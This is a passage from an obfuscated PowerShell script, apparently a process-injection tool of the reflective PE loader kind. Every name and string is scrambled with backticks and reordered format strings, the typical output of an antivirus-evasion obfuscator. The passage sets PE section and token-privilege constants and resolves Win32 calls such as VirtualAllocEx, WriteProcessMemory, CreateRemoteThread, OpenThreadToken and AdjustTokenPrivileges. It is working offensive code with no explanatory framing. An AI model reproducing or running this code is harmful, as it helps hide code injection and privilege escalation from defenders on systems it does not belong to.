  403.         ${W`IN32coN`st`AnTS} | &("{2}{0}{1}" -f 'd-Mem','ber','Ad') -MemberType ("{1}{0}{2}"-f 'oteProp','N','erty') -Name ("{0}{4}{2}{5}{1}{3}{6}"-f'I','ASED_ABSO','GE_RE','L','MA','L_B','UTE') -Value 0
  404.         ${wiN32c`o`N`STaN`TS} | &("{1}{3}{0}{2}" -f 'b','Ad','er','d-Mem') -MemberType ("{0}{1}{3}{2}" -f'N','oteProp','rty','e') -Name ("{5}{4}{0}{1}{2}{3}"-f '_REL_BASED','_HIG','H','LOW','GE','IMA') -Value 3
  405.         ${WIn32ConsTA`N`TS} | &("{2}{0}{1}"-f 'em','ber','Add-M') -MemberType ("{0}{2}{1}"-f'NotePr','perty','o') -Name ("{4}{0}{2}{1}{3}{5}"-f'RE','_B','L','ASED','IMAGE_','_DIR64') -Value 10
  406.         ${w`In32`con`sTa`Nts} | &("{1}{0}{2}"-f 'Mem','Add-','ber') -MemberType ("{2}{1}{3}{0}"-f 'erty','o','N','teProp') -Name ("{7}{5}{4}{0}{6}{3}{2}{1}" -f'E','CARDABLE','S','I','G','A','_SCN_MEM_D','IM') -Value 0x02000000
  407.         ${w`I`N32C`o`NsTANTS} | &("{0}{1}{2}"-f'Ad','d-Membe','r') -MemberType ("{0}{3}{2}{1}" -f'No','ty','eProper','t') -Name ("{5}{0}{3}{4}{2}{6}{1}" -f 'CN','CUTE','EX','_M','EM_','IMAGE_S','E') -Value 0x20000000
  408.         ${win32C`O`NSTa`NtS} | &("{0}{1}{2}"-f'A','dd','-Member') -MemberType ("{3}{1}{0}{2}"-f 'ePro','t','perty','No') -Name ("{1}{2}{3}{0}" -f 'D','IMAG','E_SCN','_MEM_REA') -Value 0x40000000
  409.         ${WiN32cOn`s`TA`N`Ts} | &("{0}{2}{1}" -f 'A','r','dd-Membe') -MemberType ("{0}{2}{1}{3}"-f'NotePr','p','o','erty') -Name ("{2}{4}{3}{1}{0}"-f'WRITE','_MEM_','IMA','N','GE_SC') -Value 0x80000000
  410.         ${w`I`N32cOnstAnTs} | &("{3}{1}{0}{2}" -f 'mb','dd-Me','er','A') -MemberType ("{0}{1}{2}"-f'N','ot','eProperty') -Name ("{1}{3}{4}{5}{2}{0}"-f 'HED','I','MEM_NOT_CAC','MAG','E_SCN','_') -Value 0x04000000
  411.         ${WiN3`2CO`NStAntS} | &("{2}{0}{1}{3}"-f'dd-Mem','be','A','r') -MemberType ("{1}{3}{0}{2}" -f'opert','NoteP','y','r') -Name ("{1}{0}{2}"-f 'COMM','MEM_DE','IT') -Value 0x4000
  412.         ${W`In3`2co`NsTa`Nts} | &("{2}{1}{0}" -f 'ber','-Mem','Add') -MemberType ("{0}{1}{2}"-f 'N','oteProper','ty') -Name ("{4}{6}{1}{3}{0}{2}{5}" -f 'LE_I','EX','M','ECUTAB','IMAGE_','AGE','FILE_') -Value 0x0002
  413.         ${WiN32`Con`sTants} | &("{2}{0}{1}"-f'm','ber','Add-Me') -MemberType ("{0}{2}{1}"-f 'Note','erty','Prop') -Name ("{3}{2}{0}{1}" -f '_DL','L','ILE','IMAGE_F') -Value 0x2000
  414.         ${Win32`c`On`St`AnTS} | &("{2}{0}{1}" -f 'dd','-Member','A') -MemberType ("{0}{2}{3}{1}"-f'N','y','otePr','opert') -Name ("{6}{9}{4}{0}{8}{5}{10}{7}{11}{1}{3}{2}" -f 'HARA','C_','SE','BA','C','STICS','IMAG','M','CTERI','E_DLL','_DYNA','I') -Value 0x40
  415.         ${WIn32`CO`NSTa`NtS} | &("{0}{2}{1}"-f'Add-M','r','embe') -MemberType ("{3}{2}{0}{1}"-f 'teProp','erty','o','N') -Name ("{5}{6}{1}{7}{2}{0}{4}{3}"-f'IST','LCHAR','ER','MPAT','ICS_NX_CO','IMA','GE_DL','ACT') -Value 0x100
  416.         ${WIN32`c`O`NstAN`Ts} | &("{1}{2}{0}"-f'mber','Ad','d-Me') -MemberType ("{2}{1}{0}"-f'erty','Prop','Note') -Name ("{2}{0}{1}"-f 'S','E','MEM_RELEA') -Value 0x8000
  417.         ${wiN3`2`cON`sTaNTs} | &("{2}{1}{0}" -f'ber','d-Mem','Ad') -MemberType ("{3}{1}{0}{2}" -f 'tePrope','o','rty','N') -Name ("{1}{0}{2}{3}" -f'KEN','TO','_QU','ERY') -Value 0x0008
  418.         ${wIN`32cons`T`A`NTs} | &("{1}{2}{0}" -f'er','A','dd-Memb') -MemberType ("{1}{0}{3}{2}" -f 'teProp','No','y','ert') -Name ("{1}{4}{2}{0}{3}{5}"-f 'T_P','TO','_ADJUS','RIVILEG','KEN','ES') -Value 0x0020
  419.         ${wI`N3`2cOn`St`AnTs} | &("{2}{1}{0}"-f'ember','dd-M','A') -MemberType ("{3}{1}{0}{2}"-f 'Proper','e','ty','Not') -Name ("{2}{3}{1}{0}" -f 'ILEGE_ENABLED','IV','SE_','PR') -Value 0x2
  420.         ${wIN3`2co`NsT`AntS} | &("{2}{1}{0}" -f'er','emb','Add-M') -MemberType ("{2}{0}{1}{3}" -f 'Pr','o','Note','perty') -Name ("{2}{0}{1}{3}"-f'_','NO_','ERROR','TOKEN') -Value 0x3f0
  421.  
  422.         return ${Wi`N`32cOns`TAntS}
  423.     }
  424.  
  425.     Function GET`-`wIN`32fUNctions
  426.     {
  427.         ${Win`32FunCTI`ONs} = &("{0}{2}{1}" -f'New-Obj','ct','e') ("{1}{4}{3}{2}{0}" -f'ect','S','Obj','stem.','y')
  428.  
  429.         ${V`iR`T`UALallOcaDdR} = &("{0}{3}{4}{1}{2}"-f 'G','d','dress','et-Proc','A') ("{0}{1}{2}" -f 'kernel32.','d','ll') ("{0}{1}{2}{3}"-f'Virt','ualAl','lo','c')
  430.         ${vIR`TUa`l`ALlO`cdE`l`EgAte} = &("{4}{3}{2}{1}{0}" -f 'eType','at','Deleg','et-','G') @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  431.         ${VIrTU`Alal`LOc} =  (&("{0}{2}{1}"-f 'gET-vaR','Ble','Ia') ("MlH"+"IT")).VAlue::("{2}{4}{6}{1}{0}{3}{5}"-f 'ateForF','g','G','unct','etDel','ionPointer','e').Invoke(${V`iRTuaLAL`lOC`ADdr}, ${VirtUALA`LlocDe`LegA`TE})
  432.         ${WiN`32f`UnC`TIo`NS} | &("{0}{2}{1}"-f 'Ad','r','d-Membe') ("{2}{0}{1}"-f'teProp','erty','No') -Name ("{2}{0}{1}" -f'rtualAllo','c','Vi') -Value ${Vi`RtualAL`l`Oc}
  433.  
  434.         ${vir`TUAL`A`l`L`oCexaDdr} = &("{2}{1}{0}{3}" -f'rocAd','et-P','G','dress') ("{2}{1}{0}"-f'll','32.d','kernel') ("{0}{2}{1}{3}" -f'Vir','A','tual','llocEx')
  435.         ${VIrTUalallo`c`E`XDe`lEGAte} = &("{4}{2}{1}{5}{0}{3}" -f'ateTyp','-D','et','e','G','eleg') @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  436.         ${viRTu`AlAllO`c`eX} =   (  &("{1}{0}{2}" -f 'aRIaB','v','Le')  ('mL'+'HiT')).ValUe::("{5}{0}{1}{3}{2}{6}{4}" -f 'Delegat','e','ionP','ForFunct','er','Get','oint').Invoke(${vIRt`UaL`Al`LOCExAd`dR}, ${virTuAl`AlLoCExDEle`G`A`Te})
  437.         ${w`iN`32fUnc`TiO`Ns} | &("{2}{0}{1}"-f 'emb','er','Add-M') ("{1}{2}{0}{3}"-f'oper','N','otePr','ty') -Name ("{3}{1}{4}{0}{2}"-f'lo','a','cEx','Virtu','lAl') -Value ${v`I`R`Tuala`llOcEx}
  438.  
  439.         ${m`EmcPYa`D`Dr} = &("{2}{3}{4}{0}{1}" -f'rocAddr','ess','Ge','t','-P') ("{0}{1}{2}" -f 'msv','crt.dl','l') ("{0}{1}"-f'mem','cpy')
  440.         ${ME`mCp`Y`de`LegAte} = &("{2}{0}{3}{1}"-f 'eleg','Type','Get-D','ate') @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  441.         ${mE`mcPy} =   $mlHIT::("{2}{5}{0}{1}{3}{4}" -f'ateF','orFu','GetDel','nctio','nPointer','eg').Invoke(${MemC`pyA`dDr}, ${m`eM`cPy`DelEGaTE})
  442.         ${win`32F`UnCTIO`NS} | &("{0}{1}{2}" -f'A','dd-Membe','r') -MemberType ("{1}{2}{0}" -f 'erty','NotePro','p') -Name ("{0}{1}{2}"-f'me','mcp','y') -Value ${MEm`C`Py}
  443.  
  444.         ${MEMseTa`d`DR} = &("{3}{0}{1}{2}"-f'et-','ProcAddr','ess','G') ("{1}{0}{2}" -f'crt.','msv','dll') ("{2}{1}{0}"-f 't','e','mems')
  445.         ${m`emset`DE`L`eGaTe} = &("{3}{1}{0}{2}" -f'y','eT','pe','Get-Delegat') @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  446.         ${mE`m`Set} =  (&("{1}{0}{3}{2}"-f 'et-CHiL','g','iTEm','D') VAriAblE:MlHit  ).vAlUe::("{3}{5}{2}{4}{1}{0}" -f'inter','nPo','c','Get','tio','DelegateForFun').Invoke(${mE`msETaD`dR}, ${MemSe`Td`e`legATE})
  447.         ${WI`N32`FUn`CTions} | &("{2}{0}{3}{1}" -f'dd-Memb','r','A','e') -MemberType ("{3}{0}{1}{2}"-f 'p','ert','y','NotePro') -Name ("{0}{1}"-f'm','emset') -Value ${mE`mSEt}
  448.  
  449.         ${lOaDL`ibRar`y`Ad`dr} = &("{1}{0}{2}{3}" -f 't-Pr','Ge','ocAdd','ress') ("{0}{2}{3}{1}"-f'k','l32.dll','ern','e') ("{1}{2}{0}"-f 'yA','LoadLibra','r')
  450.         ${LoaDLibRaryd`El`EG`AtE} = &("{2}{0}{1}" -f'e','gateType','Get-Del') @([String]) ([IntPtr])
  451.         ${LOADl`I`Br`Ary} =  (&("{0}{3}{2}{1}"-f'Ge','m','iTe','t-cHiLD')  vaRIaBLe:MlhIT ).vAlUe::("{2}{3}{1}{6}{5}{4}{0}" -f 'r','te','GetDeleg','a','ctionPointe','rFun','Fo').Invoke(${loadliBR`ARy`A`Ddr}, ${lo`ADliBr`A`R`YDELeGaTE})
  452.         ${wi`N3`2`FU`Nctions} | &("{1}{2}{0}"-f'Member','A','dd-') -MemberType ("{1}{0}{3}{2}"-f'ePrope','Not','ty','r') -Name ("{0}{3}{2}{1}"-f 'Loa','y','ar','dLibr') -Value ${LO`ADlib`R`ARy}
  453.  
  454.         ${Ge`TpR`oc`ADDrEs`s`ADdR} = &("{3}{0}{2}{4}{1}"-f'roc','ss','Add','Get-P','re') ("{3}{2}{0}{1}"-f'.d','ll','32','kernel') ("{0}{2}{1}{3}{4}" -f 'GetProc','dr','Ad','es','s')
  455.         ${geTPr`oCAdDR`e`Ss`deleGATE} = &("{3}{2}{5}{1}{0}{4}"-f 'y','egateT','t-','Ge','pe','Del') @([IntPtr], [String]) ([IntPtr])
  456.         ${GeT`pROc`AddrE`sS} =   (  &("{0}{1}{2}" -f'vari','aBL','E') ('mLH'+'It')).vaLUE::("{7}{2}{8}{1}{6}{5}{0}{3}{4}" -f'n','gateFor','l','Po','inter','nctio','Fu','GetDe','e').Invoke(${G`Etpr`ocadd`RESS`ADDr}, ${G`E`T`pRocaddREssdeLEgATE})
  457.         ${wiN32f`U`N`ct`IonS} | &("{0}{3}{2}{1}" -f 'A','ber','em','dd-M') -MemberType ("{1}{2}{0}" -f 'y','NoteProp','ert') -Name ("{2}{3}{1}{0}"-f'ss','e','GetPr','ocAddr') -Value ${G`EtpRo`ca`ddrESs}
  458.  
  459.         ${ge`TpRO`cAddrESsintPt`RA`Ddr} = &("{4}{0}{2}{3}{1}"-f'Pro','ress','c','Add','Get-') ("{1}{0}{2}" -f'el','kern','32.dll') ("{4}{0}{1}{3}{2}"-f'rocA','dd','ess','r','GetP')
  460.         ${GetpR`oc`A`d`drESsi`N`TPTrdel`E`GAte} = &("{4}{0}{3}{1}{2}"-f 'l','gate','Type','e','Get-De') @([IntPtr], [IntPtr]) ([IntPtr])
  461.         ${G`eT`p`R`ocAd`DrESsi`NTPtR} =   ( &("{1}{2}{0}" -f'BLe','va','riA')  MlHIT -VALUe)::("{1}{2}{6}{0}{3}{4}{5}"-f'Fu','GetD','eleg','n','ctionPointe','r','ateFor').Invoke(${getp`RoCaddR`eSsInTP`TRad`Dr}, ${GetProCaD`DrEss`IN`TpTR`de`lEgA`TE})
  462.         ${WIn`32`FUN`c`Tions} | &("{2}{1}{0}"-f 'r','mbe','Add-Me') -MemberType ("{1}{2}{3}{0}"-f'perty','Not','e','Pro') -Name ("{0}{4}{2}{1}{3}{5}"-f'GetP','essIn','ddr','tPt','rocA','r') -Value ${G`eTP`Ro`CAddReSsIN`TpTr}
  463.  
  464.         ${v`irTU`ALFREEaD`DR} = &("{2}{0}{1}{3}"-f'P','roc','Get-','Address') ("{1}{0}{2}" -f 'dl','kernel32.','l') ("{1}{2}{0}"-f 'alFree','Vir','tu')
  465.         ${VIRT`U`ALfR`e`E`DeLeg`AtE} = &("{1}{2}{3}{0}"-f'e','Get-Del','egateTy','p') @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  466.         ${vi`RT`UalfrEe} =   (  &("{0}{2}{1}" -f 'geT-','Able','Vari')  ("Ml"+"HIt") ).VALUE::("{0}{3}{2}{4}{1}" -f'GetDelegateFo','inter','c','rFun','tionPo').Invoke(${viRtuALF`Re`Ea`D`Dr}, ${VIrt`Ual`F`REedElEGaTe})
  467.         ${W`In32fUnCt`i`oNS} | &("{2}{1}{0}" -f'd-Member','d','A') ("{1}{0}{2}"-f 'oper','NotePr','ty') -Name ("{1}{0}{2}"-f 'lFre','Virtua','e') -Value ${VIrT`U`AlFR`ee}
  468.  
  469.         ${VI`R`TUAlFREEe`X`ADdR} = &("{3}{4}{0}{2}{1}" -f'ocAd','ess','dr','Get','-Pr') ("{0}{3}{2}{1}" -f'k','ll','el32.d','ern') ("{1}{0}{2}" -f'ual','Virt','FreeEx')
  470.         ${V`iRT`UALf`R`eEe`x`DELegATe} = &("{2}{1}{3}{0}"-f 'pe','t-','Ge','DelegateTy') @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  471.         ${v`iRtuAl`Fr`eEeX} =  (  &("{0}{1}" -f 'i','tem')  VARIablE:mLhiT  ).valUe::("{3}{2}{1}{5}{7}{8}{0}{4}{6}"-f'Func','e','tD','Ge','tionPointe','leg','r','ateF','or').Invoke(${VI`RTu`AlfrEe`e`X`Addr}, ${V`IRTuAlfrE`e`Exd`e`LE`gate})
  472.         ${Win32Fu`NCt`I`oNS} | &("{0}{1}{2}" -f 'Add-Me','mbe','r') ("{1}{3}{0}{2}"-f 'teProp','N','erty','o') -Name ("{3}{4}{1}{2}{0}" -f'x','ree','E','Vi','rtualF') -Value ${vIrtU`A`lFR`eeEX}
  473.  
  474.         ${VI`RtuaL`proTEcT`Addr} = &("{4}{3}{1}{2}{0}" -f 'ss','r','ocAddre','P','Get-') ("{0}{3}{2}{1}"-f 'ke','l','32.dl','rnel') ("{1}{3}{0}{2}{4}"-f'a','Vir','l','tu','Protect')
  475.         ${vI`RTuA`LProte`Ct`d`ElE`gate} = &("{1}{2}{4}{3}{0}"-f'pe','G','et-D','ateTy','eleg') @([IntPtr], [UIntPtr], [UInt32],   $kM5L.("{1}{3}{2}{0}"-f 'pe','Mak','y','eByRefT').Invoke()) ([Bool])
  476.         ${vI`RT`Ua`lprOTeCt} =  $MLhIt::("{4}{2}{6}{3}{1}{0}{5}" -f 'ion','rFunct','eleg','Fo','GetD','Pointer','ate').Invoke(${vI`Rtual`PRoTE`CtAD`dr}, ${vIr`T`UAlpR`otecTdeleGaTe})
  477.         ${w`i`N`32`FuNCtiOns} | &("{0}{2}{1}"-f 'Add-M','mber','e') ("{0}{3}{2}{1}" -f 'NotePro','y','ert','p') -Name ("{0}{3}{2}{1}" -f'Vi','otect','r','rtualP') -Value ${v`IrTUAlp`RO`TE`CT}
  478.  
  479.         ${GeTmO`duleha`NDLead`DR} = &("{2}{0}{1}{4}{3}" -f't','-Pro','Ge','ess','cAddr') ("{0}{2}{1}"-f'kernel','.dll','32') ("{1}{2}{3}{0}"-f 'eHandleA','GetMod','u','l')
  480.         ${GETmO`DUL`EHa`Nd`lEd`EleGATe} = &("{0}{3}{2}{1}"-f 'G','elegateType','t-D','e') @([String]) ([IntPtr])
  481.         ${GET`mO`dul`EHaNd`Le} =  $mLhit::("{5}{6}{4}{7}{2}{0}{3}{8}{1}" -f 'rFun','nter','o','ctio','lega','GetD','e','teF','nPoi').Invoke(${gET`ModuLE`H`A`ND`lEADdr}, ${get`m`O`dULEhandL`e`dE`lEGATE})
  482.         ${WiN`32fUN`CtiONS} | &("{1}{2}{0}" -f 'ember','Add','-M') ("{2}{0}{1}" -f 'ePrope','rty','Not') -Name ("{3}{2}{0}{1}" -f'eHand','le','etModul','G') -Value ${getmoDuLeH`A`N`DLE}
  483.  
  484.         ${fRe`eli`B`RARy`AdDR} = &("{3}{0}{4}{1}{2}" -f'A','res','s','Get-Proc','dd') ("{2}{1}{3}{0}"-f 'dll','rnel32','ke','.') ("{1}{2}{0}"-f 'ary','FreeL','ibr')
  485.         ${fREE`lIBRaRY`DelE`GA`TE} = &("{3}{1}{2}{0}" -f'e','-Delegate','Typ','Get') @([IntPtr]) ([Bool])
  486.         ${FReE`lIbra`RY} =   $MLHIt::("{4}{3}{7}{5}{8}{2}{6}{0}{1}"-f'nte','r','on','e','GetD','rFunc','Poi','legateFo','ti').Invoke(${f`R`eELi`B`RaR`yadDR}, ${FR`eeLibRaRYDeL`E`gate})
  487.         ${WIn3`2fu`Nct`iONS} | &("{1}{0}{2}" -f 'dd-Membe','A','r') -MemberType ("{0}{2}{1}"-f 'Not','operty','ePr') -Name ("{1}{3}{2}{0}"-f'ry','FreeL','a','ibr') -Value ${fR`EELI`Br`Ary}
  488.  
  489.         ${oPEnpro`Cess`Addr} = &("{3}{1}{2}{0}" -f'ss','t-ProcA','ddre','Ge') ("{0}{1}{2}"-f'ke','rnel','32.dll') ("{2}{1}{0}"-f'ess','oc','OpenPr')
  490.         ${opE`NP`RoCe`s`SdEleGATe} = &("{1}{2}{3}{0}" -f'pe','Get-','De','legateTy') @([UInt32], [Bool], [UInt32]) ([IntPtr])
  491.         ${OP`E`N`pRoceSs} =   $mLhiT::("{6}{0}{8}{3}{7}{5}{4}{1}{2}" -f 'tDe','Poi','nter','rFun','on','i','Ge','ct','legateFo').Invoke(${OPeN`PrO`ceS`Sa`DdR}, ${Ope`NPROces`SdELe`gAtE})
  492.         ${wi`N`32FuncT`IO`NS} | &("{1}{0}{2}"-f 'Memb','Add-','er') -MemberType ("{0}{2}{1}" -f'Not','rty','ePrope') -Name ("{1}{2}{0}" -f'ess','Op','enProc') -Value ${op`en`prOC`esS}
  493.  
  494.         ${wAIt`FORS`InGLeObjeCT`A`ddr} = &("{1}{3}{0}{2}"-f 'ocAddre','Get','ss','-Pr') ("{1}{0}{2}"-f '32.d','kernel','ll') ("{4}{2}{5}{3}{1}{0}" -f'Object','e','it','ingl','Wa','ForS')
  495.         ${WaITfO`R`s`INg`LeoB`jEC`T`DEl`eGATe} = &("{2}{0}{1}{3}" -f 'egat','eTyp','Get-Del','e') @([IntPtr], [UInt32]) ([UInt32])
  496.         ${w`Ai`TFoRs`iNg`Le`OBjECT} =  ( &("{2}{3}{1}{0}"-f'em','IT','GET-c','HILd') VarIABLE:mlHIT).VALuE::("{1}{8}{3}{0}{4}{6}{5}{2}{7}" -f 'ega','G','c','Del','teFo','n','rFu','tionPointer','et').Invoke(${WA`i`TforS`InGLEO`BJEcT`AddR}, ${wAiT`FOrSi`NG`l`E`oBjec`T`DeLE`gAtE})
  497.         ${wIN32FuNct`Io`Ns} | &("{3}{2}{0}{1}"-f 'mb','er','-Me','Add') -MemberType ("{1}{0}{3}{2}"-f 'tePr','No','ty','oper') -Name ("{1}{0}{2}{3}" -f 'aitForSingleObje','W','c','t') -Value ${wai`T`Fors`In`gLEobJ`ECT}
  498.  
  499.         ${WrI`TEp`RocessME`Mo`RYAddr} = &("{2}{0}{1}{4}{3}"-f '-','Pr','Get','s','ocAddres') ("{0}{1}{2}{3}"-f'k','er','nel32','.dll') ("{0}{2}{1}{3}" -f 'Wr','cessMem','itePro','ory')
  500.         ${WRI`TepR`oC`esSme`MO`R`YDeL`e`gaTE} = &("{0}{2}{1}{3}"-f 'Get','e','-Delegat','Type') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr],  (  &('LS')  varIABlE:9hrwnY).VaLuE.("{2}{0}{1}"-f'ak','eByRefType','M').Invoke()) ([Bool])
  501.         ${W`Ri`TepROc`ESSMEMoRY} =   (  &("{2}{1}{0}{3}" -f'VArIAb','t-','Ge','LE') ('M'+'LhIT')).vAlUE::("{6}{1}{2}{8}{7}{4}{5}{0}{3}"-f'nt','Deleg','ate','er','ionPo','i','Get','nct','ForFu').Invoke(${wri`TEproc`EssM`E`MOr`Y`Addr}, ${wri`TeProcesSmem`or`ydeLegA`Te})
  502.         ${WIN3`2FU`Nc`TiO`NS} | &("{1}{0}{2}" -f'-M','Add','ember') -MemberType ("{2}{0}{1}"-f'tePropert','y','No') -Name ("{4}{3}{1}{5}{2}{0}" -f'y','cess','mor','itePro','Wr','Me') -Value ${W`RItEp`RocESSM`emorY}
  503.  
  504.         ${ReadP`R`oceSSMemoRy`A`DDr} = &("{2}{0}{3}{1}"-f'et-Proc','ddress','G','A') ("{2}{1}{0}{3}"-f'3','el','kern','2.dll') ("{3}{1}{4}{0}{2}" -f 's','e','Memory','ReadProc','s')
  505.         ${rEAdpro`CESSM`emo`Ryd`eleg`A`Te} = &("{2}{3}{4}{1}{0}"-f'eType','Delegat','G','e','t-') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr],  (&("{0}{1}"-f 'ItE','M') ("vaRiAb"+"l"+"e:9H"+"rWNY") ).vAlUe.("{4}{0}{2}{3}{1}" -f'k','pe','eByRe','fTy','Ma').Invoke()) ([Bool])
  506.         ${reaDpRo`cEssM`e`M`oRY} =   (&("{1}{0}" -f'r','DI')  VarIaBLE:MlHIT  ).vaLue::("{2}{1}{4}{0}{3}{5}" -f 'nctio','tDelega','Ge','nP','teForFu','ointer').Invoke(${R`EadPR`o`cEsSmEmOrYAdDR}, ${ReAD`pr`OCe`SsmEmO`RyDelEgAtE})
  507.         ${win`3`2`FuNc`TIoNs} | &("{0}{2}{1}" -f'Add','Member','-') -MemberType ("{3}{0}{2}{1}"-f 'o','ty','per','NotePr') -Name ("{3}{0}{2}{1}"-f 'Pr','y','ocessMemor','Read') -Value ${readP`ROcESs`Me`M`oRy}
  508.  
  509.         ${CR`EAT`e`R`EMoTet`HREadaD`Dr} = &("{0}{2}{3}{1}{4}" -f 'Get-P','es','rocAd','dr','s') ("{2}{0}{1}{3}"-f'ne','l32.','ker','dll') ("{0}{2}{4}{3}{1}" -f 'Create','read','Rem','Th','ote')
  510.         ${cREaTEr`e`moTe`ThrEaDdelEga`Te} = &("{1}{0}{3}{2}{4}" -f't-','Ge','legat','De','eType') @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  511.         ${CReAt`eREMOtE`T`H`Re`Ad} =  (  &("{2}{0}{1}" -f'i','abLE','vaR')  mLhIt).VaLue::("{6}{3}{0}{1}{5}{4}{2}" -f'nc','tion','nter','elegateForFu','oi','P','GetD').Invoke(${cRE`ATE`RE`m`OT`etHREadaDDR}, ${CreATeR`e`M`OTE`THREadDEleGatE})
  512.         ${win3`2Fu`NCTI`oNs} | &("{2}{3}{1}{0}" -f 'ember','-M','Ad','d') -MemberType ("{2}{0}{1}"-f't','y','NoteProper') -Name ("{1}{2}{0}{3}"-f'moteThrea','Crea','teRe','d') -Value ${CRE`AteR`e`Mo`T`eThReAD}
  513.  
  514.         ${G`ETExITC`OdE`THR`eA`D`AdDr} = &("{0}{3}{1}{2}" -f'Get-','r','ess','ProcAdd') ("{1}{0}{3}{2}" -f 'el3','kern','l','2.dl') ("{2}{4}{0}{3}{1}"-f 'Co','ead','G','deThr','etExit')
  515.         ${G`ETEX`itC`od`ETHrEAD`dEL`E`GaTE} = &("{2}{1}{0}{4}{3}"-f 'g','-Dele','Get','Type','ate') @([IntPtr],  (&("{1}{0}"-f 'Tem','i')  VaRIABlE:7eq ).VAluE.("{4}{0}{1}{3}{2}"-f 'ake','ByR','fType','e','M').Invoke()) ([Bool])
  516.         ${G`ET`E`Xi`TcO`dEThReAd} =   (&('GI')  ("VariABLE"+":mL"+"hit")  ).VALUE::("{5}{3}{1}{4}{0}{2}" -f 'oint','unct','er','ForF','ionP','GetDelegate').Invoke(${Ge`T`exitc`o`detHReAD`AddR}, ${gEt`Exi`T`CO`Det`hReAddel`eGa`Te})
  517.         ${wI`N32FU`N`c`Tions} | &("{1}{2}{0}"-f 'ber','Add','-Mem') -MemberType ("{1}{0}{2}" -f'otePrope','N','rty') -Name ("{3}{2}{4}{0}{1}"-f'eT','hread','tExitC','Ge','od') -Value ${G`etexITC`Ode`Th`READ}
  518.  
  519.         ${OPeNtHr`eA`dTokenAD`DR} = &("{3}{0}{2}{1}" -f'P','ocAddress','r','Get-') ("{2}{3}{1}{0}"-f'.dll','api32','A','dv') ("{0}{1}{3}{2}" -f'Ope','nThrea','oken','dT')
  520.         ${OPEN`THreAdto`K`En`de`lEg`ATE} = &("{1}{0}{2}{3}"-f'et-De','G','legate','Type') @([IntPtr], [UInt32], [Bool],   $T2NGf.("{1}{3}{0}{2}" -f 'eByRe','M','fType','ak').Invoke()) ([Bool])
  521.         ${opeNt`hrea`dt`o`kEN} =  $MLhit::("{1}{5}{6}{3}{2}{0}{4}{7}" -f 'Po','GetD','ion','ateForFunct','i','e','leg','nter').Invoke(${o`pEn`Threa`DTO`K`e`NaDDr}, ${oPENt`HR`eadt`OkE`NDEL`EGAte})
  522.         ${win32`Fun`CTIo`Ns} | &("{2}{1}{0}{3}" -f'd-Me','d','A','mber') -MemberType ("{0}{2}{1}"-f 'NoteP','perty','ro') -Name ("{2}{1}{0}"-f 'oken','ThreadT','Open') -Value ${Op`eNT`hrE`ADTokEN}
  523.  
  524.         ${Getcu`RrEntTh`REAd`AddR} = &("{0}{2}{1}{3}" -f 'G','res','et-ProcAdd','s') ("{2}{3}{1}{0}" -f'2.dll','3','kerne','l') ("{1}{0}{3}{2}"-f 'rren','GetCu','d','tThrea')
  525.         ${gE`TCUrrENTThr`eaD`DeL`EG`A`Te} = &("{1}{2}{3}{0}{4}"-f 'ate','G','e','t-Deleg','Type') @() ([IntPtr])
  526.         ${Ge`TcuR`REnTTHRe`AD} =   $mlHIT::("{7}{4}{3}{1}{2}{5}{0}{6}" -f'n','eForF','unctio','t','lega','nPoi','ter','GetDe').Invoke(${Get`c`UrReNTTHre`Ada`DdR}, ${geTc`UrRenT`T`h`ReAdD`eL`egAtE})
  527.         ${W`iN32fuN`ct`iONs} | &("{0}{2}{1}" -f'Ad','mber','d-Me') -MemberType ("{2}{1}{0}{3}" -f 'opert','Pr','Note','y') -Name ("{0}{1}{2}"-f 'GetCur','ren','tThread') -Value ${GE`TCURR`e`Nt`THReAd}
  528.  
  529.         ${Ad`J`UsT`TOKENP`Ri`V`i`LE`GeSAddR} = &("{0}{2}{3}{1}"-f'Get','s','-','ProcAddres') ("{2}{0}{1}"-f '2.','dll','Advapi3') ("{3}{0}{4}{2}{5}{1}" -f'ustToken','ges','vil','Adj','Pri','e')
  530.         ${aDJusTtO`K`EnPR`iVI`lEGesDELE`GA`TE} = &("{4}{1}{3}{0}{2}"-f'te','et-D','Type','elega','G') @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  531.         ${adJUS`TToKE`N`P`RIvIlE`GeS} =   $MlHiT::("{0}{3}{2}{5}{4}{1}"-f 'G','onPointer','gate','etDele','cti','ForFun').Invoke(${AdJ`U`SttOK`eN`PRivI`l`EgESa`D`DR}, ${a`djU`ST`TOkE`NpR`iV`iLeg`eSDeL`EGa`TE})
  532.         ${W`in32fun`CTio`NS} | &("{0}{2}{1}"-f 'Add','ber','-Mem') -MemberType ("{1}{0}{3}{2}"-f'teProper','No','y','t') -Name ("{0}{1}{3}{2}" -f 'Ad','justTokenPri','es','vileg') -Value ${adJuSTtok`en`pRI`VILEG`ES}
  533.  
  534.         ${LoOkupPr`iV`ILege`VAL`UE`A`d`Dr} = &("{0}{2}{1}{3}"-f 'Ge','cAddre','t-Pro','ss') ("{2}{1}{0}{3}"-f'pi','dva','A','32.dll') ("{0}{3}{2}{1}" -f 'Looku','ValueA','rivilege','pP')
  535.         ${LO`OK`UpP`RiV`ile`g`EValUEdeLeg`Ate} = &("{2}{1}{3}{0}"-f'Type','t-Delega','Ge','te') @([String], [String], [IntPtr]) ([Bool])
  536.         ${LOok`UP`p`Ri`Vil`EGE`VAlUE} =   ( &("{1}{0}"-f'IR','D')  VarIaBLE:MLHiT ).VALUe::("{5}{1}{7}{8}{6}{0}{4}{3}{2}" -f 'rF','e','inter','nctionPo','u','GetD','eFo','l','egat').Invoke(${LOo`K`UpPRIviLeGEva`lu`EaDDR}, ${LOokuPP`RI`VIlEGE`VaLUeDE`l`EGAte})
  537.         ${wIn32FUNcT`i`Ons} | &("{1}{2}{0}" -f'mber','A','dd-Me') -MemberType ("{1}{0}{2}{3}" -f 'eProp','Not','er','ty') -Name ("{2}{3}{0}{1}" -f'geV','alue','Look','upPrivile') -Value ${L`o`ok`UPpRivIl`EGevaLUE}
  538.  
